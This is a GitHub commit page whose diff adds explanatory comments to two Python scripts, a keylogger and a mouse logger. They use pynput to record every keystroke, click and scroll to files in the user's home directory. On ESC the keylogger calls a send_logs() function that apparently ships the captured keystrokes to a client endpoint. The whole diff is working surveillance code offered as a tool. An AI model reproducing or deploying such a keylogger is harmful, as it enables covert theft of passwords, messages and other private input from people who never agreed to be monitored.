Skip to content

Commit

Permalink
added comments to recall implementation
Browse files Browse the repository at this point in the history
  • Loading branch information
adisakshya committed Jul 2, 2021
1 parent 5dcebf9 commit 9cb7454
Show file tree
Hide file tree
Showing 2 changed files with 15 additions and 5 deletions.
11 changes: 8 additions & 3 deletions bin/key_logger.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,14 @@
from pynput import keyboard
# Import required modules
import logging
from pynput import keyboard
from client import send_logs

log_dir = ""
# Path to directory for storing keylogs - User home (~) directory
log_dir = "~/"

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')

# Event - A key is pressed
def on_press(key):
try:
logging.info('{0} pressed'.format(
Expand All @@ -14,11 +17,13 @@ def on_press(key):
logging.info('{0} pressed'.format(
key))

# Event - A key is released
def on_release(key):
logging.info('{0} released'.format(
key))
# If ESC key was pressed and released, then
if key == keyboard.Key.esc:
# Stop listener
# Stop the listener
send_logs()
return False

Expand Down
9 changes: 7 additions & 2 deletions bin/mouse_logger.py
Original file line number Diff line number Diff line change
@@ -1,16 +1,21 @@
from pynput.mouse import Listener
# Import required modules
import logging
from pynput.mouse import Listener

log_dir = ""
# Path to directory for storing mouselogs - User home (~) directory
log_dir = "~/"

logging.basicConfig(filename=(log_dir + "mouse_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')

# Event - Click
def on_click(x, y, button, pressed):
if pressed:
logging.info('"{0}", {1}'.format(button, (x, y)))

# Event - Scroll
def on_scroll(x, y, dx, dy):
logging.info('"{0}", {1}'.format('Button.scroll', (x, y)))

# Collect events
with Listener(on_click=on_click, on_scroll=on_scroll) as listener:
listener.join()

0 comments on commit 9cb7454

Please sign in to comment.